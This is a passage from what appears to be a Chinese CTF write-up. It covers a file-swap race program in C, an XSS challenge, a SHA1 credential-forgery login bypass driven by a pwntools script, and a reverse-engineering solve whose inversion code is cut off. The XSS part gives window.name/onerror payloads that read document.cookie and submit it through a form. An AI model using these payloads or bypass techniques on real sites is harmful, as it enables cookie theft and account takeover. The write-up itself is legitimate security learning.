<span class="n">filename</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">=</span><span class="sc">'e'</span><span class="p">;</span>
<span class="n">atomic_thread_fence</span><span class="p">(</span><span class="n">memory_order_seq_cst</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">child_stack</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">4096</span><span class="p">);</span>
<span class="n">clone</span><span class="p">(</span><span class="o">&</span><span class="n">blinker</span><span class="p">,</span><span class="n">child_stack</span><span class="o">+</span><span class="mi">4096</span><span class="p">,</span><span class="n">CLONE_VM</span> <span class="o">|</span> <span class="n">CLONE_FS</span> <span class="o">|</span> <span class="n">CLONE_FILES</span> <span class="o">|</span> <span class="n">CLONE_SYSVSEM</span>
<span class="o">|</span> <span class="n">CLONE_SIGHAND</span> <span class="o">|</span> <span class="n">CLONE_THREAD</span>
<span class="o">|</span> <span class="n">CLONE_SETTLS</span> <span class="o">|</span> <span class="n">CLONE_PARENT_SETTID</span>
<span class="o">|</span> <span class="n">CLONE_CHILD_CLEARTID</span>
<span class="o">|</span> <span class="mi">0</span><span class="p">,</span><span class="nb">NULL</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">i</span><span class="o"><</span><span class="mi">100</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">fd</span><span class="o">=</span><span class="n">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span><span class="n">O_RDONLY</span><span class="p">);</span>
<span class="n">atomic_thread_fence</span><span class="p">(</span><span class="n">memory_order_seq_cst</span><span class="p">);</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">]</span><span class="o">=</span><span class="p">{};</span>
<span class="kt">int</span> <span class="n">size</span><span class="o">=</span><span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="n">buffer</span><span class="p">,</span><span class="mi">64</span><span class="p">);</span>
<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">buffer</span><span class="p">,</span><span class="n">size</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">size</span><span class="o"><</span><span class="mi">64</span><span class="p">){</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">i</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="微积分计算小练习-20">微积分计算小练习 2.0</h2>
<p>首先,我们发现后端生成评论的时候是字符串拼接 JavaScript 实现的,于是如果我们评论 <code class="language-plaintext highlighter-rouge">"+document["cookie"]+"</code> 的话便可以在页面内显示我们的 cookie。但是这不够劲爆,能做的事情太有限了。</p>
<p>其次我们可以在给 Bot 提交的 HTML 文件里打开提交页面,并指定窗口的 <code class="language-plaintext highlighter-rouge">name</code>。那么我们就可以把 XSS Payload 放在 <code class="language-plaintext highlighter-rouge">name</code> 里,并评论 <code class="language-plaintext highlighter-rouge">"+window["name"]+"</code>,这样就能执行任意代码了!</p>
<p>最后我们需要获取 flag,直接使用就好评论框提交就好,但是由于 flag 有点长,所以可能需要分多次提取,另外还需要绕开字符种类限制。</p>
<p>那么我们首先评论 <code class="language-plaintext highlighter-rouge">"+window["name"]+"</code>,然后提交以下 HTML:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span><span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://web/result</span><span class="dl">"</span><span class="p">,</span><span class="s2">`<img src="/" onerror="document.querySelector('form #comment').value=btoa(document.cookie).length;document.querySelector('form').submit()">`</span><span class="p">)</span><span class="nt"></script></span>
</code></pre></div></div>
<p>就可以得到 Base64 编码后的 flag 长度。然后再 <code class="language-plaintext highlighter-rouge">"+window["name"]+"</code>,然后提交以下 HTML:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span><span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://web/result</span><span class="dl">"</span><span class="p">,</span><span class="s2">`<img src="/" onerror="document.querySelector('form #comment').value=btoa(document.cookie).slice(0,20);document.querySelector('form').submit()">`</span><span class="p">)</span><span class="nt"></script></span>
</code></pre></div></div>
<p>就可以得到 Base64 编码后的 flag 的前 20 个字符,然后重复多次之后即可得到编码后的完整 flag。需要注意的是 JS 的 <code class="language-plaintext highlighter-rouge">decodeURIComponent</code> 无法给出正确的 flag,因为他不会像 Python 的 <code class="language-plaintext highlighter-rouge">urllib.parse.unquote_plus</code> 一样把 <code class="language-plaintext highlighter-rouge">+</code> 转换回空格。</p>
<h2 id="o1-用户登录系统">O(1) 用户登录系统</h2>
<p>由于没有检查后面的 prove 的长度,所以如果管理员用户凭据 <code class="language-plaintext highlighter-rouge">admin</code> 和一个普通用户 <code class="language-plaintext highlighter-rouge">x</code> 的用户凭据满足 <code class="language-plaintext highlighter-rouge">sha1(admin)</code> 和 <code class="language-plaintext highlighter-rouge">sha1(x)</code> 组合之后依旧是一个合法的用户凭据 <code class="language-plaintext highlighter-rouge">new</code>,那么就可以把 <code class="language-plaintext highlighter-rouge">new</code> 和随便一个用户凭据 <code class="language-plaintext highlighter-rouge">a</code> 导入进来,就可以用 <code class="language-plaintext highlighter-rouge">admin</code> 和 <code class="language-plaintext highlighter-rouge">sha1(x)</code> 与 <code class="language-plaintext highlighter-rouge">sha1(a)</code> 组合的结果登陆管理员账号。</p>
<p>然而想要找到符合条件的 <code class="language-plaintext highlighter-rouge">admin</code> 和 <code class="language-plaintext highlighter-rouge">x</code> 较为困难,不过还好是可以接受的计算量,然而具体的要求比较难以推测。搜索的代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="n">sha1</span>
<span class="c1"># prefix=b"admin:"
# target_count=1
</span>
<span class="n">prefix</span><span class="o">=</span><span class="sa">b</span><span class="s">"x:"</span>
<span class="n">target_count</span><span class="o">=</span><span class="mi">0</span>
<span class="k">def</span> <span class="nf">check_usable</span><span class="p">(</span><span class="nb">hash</span><span class="p">,</span><span class="n">target_count</span><span class="p">):</span>
<span class="n">count</span><span class="o">=</span><span class="mi">0</span>
<span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">hash</span><span class="p">:</span>
<span class="k">if</span> <span class="n">b</span><span class="o">==</span><span class="nb">ord</span><span class="p">(</span><span class="s">'</span><span class="se">\r</span><span class="s">'</span><span class="p">)</span> <span class="ow">or</span> <span class="n">b</span><span class="o">==</span><span class="nb">ord</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span> <span class="ow">or</span> <span class="n">b</span><span class="o">==</span><span class="nb">ord</span><span class="p">(</span><span class="s">'</span><span class="se">\x04</span><span class="s">'</span><span class="p">)</span> <span class="ow">or</span> <span class="n">b</span><span class="o">==</span><span class="nb">ord</span><span class="p">(</span><span class="s">'</span><span class="se">\x1c</span><span class="s">'</span><span class="p">)</span> <span class="ow">or</span> <span class="n">b</span><span class="o">>=</span><span class="mh">0x80</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">if</span> <span class="n">b</span><span class="o">==</span><span class="nb">ord</span><span class="p">(</span><span class="s">':'</span><span class="p">):</span>
<span class="n">count</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">return</span> <span class="n">count</span><span class="o">==</span><span class="n">target_count</span> <span class="ow">and</span> <span class="nb">hash</span><span class="p">.</span><span class="n">decode</span><span class="p">().</span><span class="n">encode</span><span class="p">()</span> <span class="o">==</span> <span class="nb">hash</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="k">if</span><span class="p">(</span><span class="n">check_usable</span><span class="p">(</span><span class="n">sha1</span><span class="p">(</span><span class="n">prefix</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">).</span><span class="n">encode</span><span class="p">()).</span><span class="n">digest</span><span class="p">(),</span><span class="n">target_count</span><span class="p">)):</span>
<span class="k">print</span><span class="p">(</span><span class="n">prefix</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">sha1</span><span class="p">(</span><span class="n">prefix</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">).</span><span class="n">encode</span><span class="p">()).</span><span class="n">digest</span><span class="p">())</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">i</span><span class="o">%</span><span class="mi">1000000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
</code></pre></div></div>
<p>然后最后与题目交互的代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pwn</span>
<span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="n">sha1</span>
<span class="n">token</span><span class="o">=</span><span class="sa">b</span><span class="s">"<token>"</span>
<span class="n">admin</span><span class="o">=</span><span class="sa">b</span><span class="s">'admin:1690553'</span>
<span class="n">sha1_admin</span><span class="o">=</span><span class="n">sha1</span><span class="p">(</span><span class="n">admin</span><span class="p">).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">x</span><span class="o">=</span><span class="sa">b</span><span class="s">'x:11555829'</span>
<span class="n">sha1_x</span><span class="o">=</span><span class="n">sha1</span><span class="p">(</span><span class="n">x</span><span class="p">).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">a</span><span class="o">=</span><span class="sa">b</span><span class="s">'a:b'</span>
<span class="n">sha1_a</span><span class="o">=</span><span class="n">sha1</span><span class="p">(</span><span class="n">a</span><span class="p">).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">pwn</span><span class="p">.</span><span class="n">remote</span><span class="p">(</span><span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">10094</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">token</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"Choice: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"1</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">hash1</span> <span class="o">=</span> <span class="n">sha1_admin</span>
<span class="n">hash2</span> <span class="o">=</span> <span class="n">sha1_x</span>
<span class="k">if</span> <span class="n">hash1</span> <span class="o">></span> <span class="n">hash2</span><span class="p">:</span>
<span class="n">hash1</span><span class="p">,</span> <span class="n">hash2</span> <span class="o">=</span> <span class="n">hash2</span><span class="p">,</span> <span class="n">hash1</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">hash1</span> <span class="o">+</span> <span class="n">hash2</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"EOF</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"Choice: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"2</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"Login credential: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">admin</span><span class="p">.</span><span class="n">decode</span><span class="p">()</span><span class="o">+</span><span class="s">":"</span><span class="o">+</span><span class="n">sha1_x</span><span class="p">.</span><span class="nb">hex</span><span class="p">()</span><span class="o">+</span><span class="n">sha1_a</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="逆向工程不需要-f5">逆向工程不需要 F5</h2>
<p>你说得对,但是 Ghidra 是一款……后面忘了,总之是没有 F5 这个快捷键的。然而,程序分散到 16 个动态链接库里了,给我们的分析带来了一些不便。所以为了理解程序是怎么运行的,我用 x64dbg 进行了动态调试。当然,之后会发现这些函数并没有遵循一般的调用约定,所以直接看反编译并不能看出正确的内容。</p>
<p>首先,程序获取了输入(这个过程使用了 libs11 中的函数与 libs14 中的常量),检查了输入格式,输入需要以 <code class="language-plaintext highlighter-rouge">flag{</code> 开头,同时第 0x25 个字符需要为 <code class="language-plaintext highlighter-rouge">}</code>(这个过程使用了 libs15 中的常量)。这意味着 flag 括号内的部分应当有 32 个字符。然后,程序调用了 libs08 中的函数将大括号内的东西提取出来。</p>
<p>接下来,程序将对输入内容进行一大堆变换。</p>
<p>首先是一个四次的循环。每次的循环内容是进行一个两次的循环。在这个两次的循环中,首先将外层循环的次数乘以 16 后与 <code class="language-plaintext highlighter-rouge">0x55AA00FF</code> 异或(这个过程调用了 libs10 和 libs13 中的函数)得到 <code class="language-plaintext highlighter-rouge">m</code>,然后在循环中分别操作前 16 字节和后 16 字节。具体的操作是将 <code class="language-plaintext highlighter-rouge">m</code> 直接乘到要操作的 16 字节上去(这个过程调用了 libs03 和 libs07 中的函数)。最后,还使用了 libs12 中的函数维护循环进度。</p>
<p>然后是又一个四次的循环。这次是把内容分为八段分别与 <code class="language-plaintext highlighter-rouge">0x7A026655FD263677</code> 进行异或。(这个过程调用了libs05、libs13、libs12 中的函数)</p>
<p>然后是又一个四次的循环。每次的循环内容是进行一个八次的循环。在这个八次的循环中,首先将外层循环的次数乘以 4 后与 <code class="language-plaintext highlighter-rouge">0xDEADBEEF</code> 异或(这个过程调用了 libs10 和 libs13 中的函数)得到 <code class="language-plaintext highlighter-rouge">m</code>,然后在循环中分别操作每 4 个字节。具体的操作是将 <code class="language-plaintext highlighter-rouge">m</code> 直接乘到要操作的 4 字节上去(这个过程调用了 libs02 和 libs09 中的函数)。还使用了 libs12 中的函数维护循环进度。</p>
<p>然后是一个十六次的循环。这次是把内容分为八段分别与 <code class="language-plaintext highlighter-rouge">0xCDEC</code> 进行异或。(这个过程调用了libs01、libs13、libs12 中的函数)</p>
<p>最后是又一个四次的循环。每次的循环内容是进行一个三十二次的循环。在这个三十二次的循环中,首先将外层循环的次数乘以 2 后 <code class="language-plaintext highlighter-rouge">0x21</code> 异或(这个过程调用了 libs10 和 libs13 中的函数)得到 <code class="language-plaintext highlighter-rouge">m</code>,然后在循环中分别操作每个字节。具体的操作是将 <code class="language-plaintext highlighter-rouge">m</code> 直接乘到要操作的字节上去(这个过程调用了 libs00 和 libs06 中的函数)。还使用了 libs12 中的函数维护循环进度。不过特别的是,在最后一次循环时,会在计算完成后检查计算结果,具体的是和 libs12 中数值的进行比较(这个过程调用了 libs04 中的函数)。</p>
<p>翻译过来是这样的:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">flag</span><span class="o">=</span><span class="nb">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="s">"1234567890abcdef1234567890abcdef"</span><span class="p">)</span>
<span class="n">target</span><span class="o">=</span><span class="nb">bytearray</span><span class="p">([</span><span class="mh">0x9F</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0x77</span><span class="p">,</span><span class="mh">0xC2</span><span class="p">,</span><span class="mh">0x84</span><span class="p">,</span><span class="mh">0x2E</span><span class="p">,</span><span class="mh">0x37</span><span class="p">,</span><span class="mh">0xD9</span><span class="p">,</span><span class="mh">0xB8</span><span class="p">,</span><span class="mh">0xB9</span><span class="p">,</span><span class="mh">0xB9</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0xE8</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0xAF</span><span class="p">,</span><span class="mh">0xAB</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0xAC</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x6C</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="mh">0xFF</span><span class="p">,</span><span class="mh">0x8B</span><span class="p">,</span><span class="mh">0xAA</span><span class="p">,</span><span class="mh">0xCA</span><span class="p">,</span><span class="mh">0xFC</span><span class="p">,</span><span class="mh">0x0E</span><span class="p">,</span><span class="mh">0xB1</span><span class="p">,</span><span class="mh">0xE2</span><span class="p">,</span><span class="mh">0xB4</span><span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">):</span>
<span class="n">m</span><span class="o">=</span><span class="mh">0x55AA00FF</span> <span class="o">^</span> <span class="p">(</span><span class="mi">16</span><span class="o">*</span><span class="n">i</span><span class="p">)</span>
<span class="n">f</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">16</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">16</span><span class="o">+</span><span class="mi">16</span><span class="o">*</span><span class="n">j</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">)</span><span class="o">*</span><span class="n">m</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">16</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">16</span><span class="o">+</span><span class="mi">16</span><span class="o">*</span><span class="n">j</span><span class="p">]</span><span class="o">=</span><span class="n">f</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="n">x</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="n">i</span><span class="p">:</span><span class="mi">8</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="n">i</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">))</span><span class="o">^</span><span class="mh">0x7A026655FD263677</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="n">i</span><span class="p">:</span><span class="mi">8</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">x</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">m</span><span class="o">=</span><span class="mh">0xDEADBEEF</span> <span class="o">^</span> <span class="p">(</span><span class="mi">4</span><span class="o">*</span><span class="n">i</span><span class="p">)</span>
<span class="n">f</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">4</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">4</span><span class="o">+</span><span class="mi">4</span><span class="o">*</span><span class="n">j</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">)</span><span class="o">*</span><span class="n">m</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFFFFFFFF</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">4</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">4</span><span class="o">+</span><span class="mi">4</span><span class="o">*</span><span class="n">j</span><span class="p">]</span><span class="o">=</span><span class="n">f</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="n">x</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">:</span><span class="mi">2</span><span class="o">+</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">))</span><span class="o">^</span><span class="mh">0xCDEC</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">:</span><span class="mi">2</span><span class="o">+</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">x</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">):</span>
<span class="n">m</span><span class="o">=</span><span class="mh">0x21</span> <span class="o">^</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">)</span>
<span class="n">f</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">1</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="n">j</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">)</span><span class="o">*</span><span class="n">m</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFF</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">1</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="n">j</span><span class="p">]</span><span class="o">=</span><span class="n">f</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="o">==</span><span class="n">target</span><span class="p">)</span>
</code></pre></div></div>
<p>那么反过来:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">flag</span><span class="o">=</span><span class="nb">bytearray</span><span class="p">([</span><span class="mh">0x9F</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0x77</span><span class="p">,</span><span class="mh">0xC2</span><span class="p">,</span><span class="mh">0x84</span><span class="p">,</span><span class="mh">0x2E</span><span class="p">,</span><span class="mh">0x37</span><span class="p">,</span><span class="mh">0xD9</span><span class="p">,</span><span class="mh">0xB8</span><span class="p">,</span><span class="mh">0xB9</span><span class="p">,</span><span class="mh">0xB9</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0xE8</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0xAF</span><span class="p">,</span><span class="mh">0xAB</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0xAC</span><span class="p">,</span><span class="mh">0x62</span><span class="p">,</span><span class="mh">0x6C</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="mh">0xFF</span><span class="p">,</span><span class="mh">0x8B</span><span class="p">,</span><span class="mh">0xAA</span><span class="p">,</span><span class="mh">0xCA</span><span class="p">,</span><span class="mh">0xFC</span><span class="p">,</span><span class="mh">0x0E</span><span class="p">,</span><span class="mh">0xB1</span><span class="p">,</span><span class="mh">0xE2</span><span class="p">,</span><span class="mh">0xB4</span><span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">):</span>
<span class="n">m</span><span class="o">=</span><span class="mh">0x21</span> <span class="o">^</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="p">(</span><span class="mi">3</span><span class="o">-</span><span class="n">i</span><span class="p">))</span>
<span class="n">f</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">1</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="n">j</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">)</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="o">**</span><span class="mi">8</span><span class="p">))</span> <span class="o">&</span> <span class="mh">0xFF</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="n">j</span><span class="p">:</span><span class="mi">1</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="n">j</span><span class="p">]</span><span class="o">=</span><span class="n">f</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="n">x</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">:</span><span class="mi">2</span><span class="o">+</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">],</span><span class="n">byteorder</span><span class="o">=</span><span class="s">'little'</span><span class="p">))</span><span class="o">^</span><span class="mh">0xCDEC</span>
<span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">:</span><span class="mi">2</span><span class="o">+</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">x</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="s">'little'</span><span class="p">)</span>
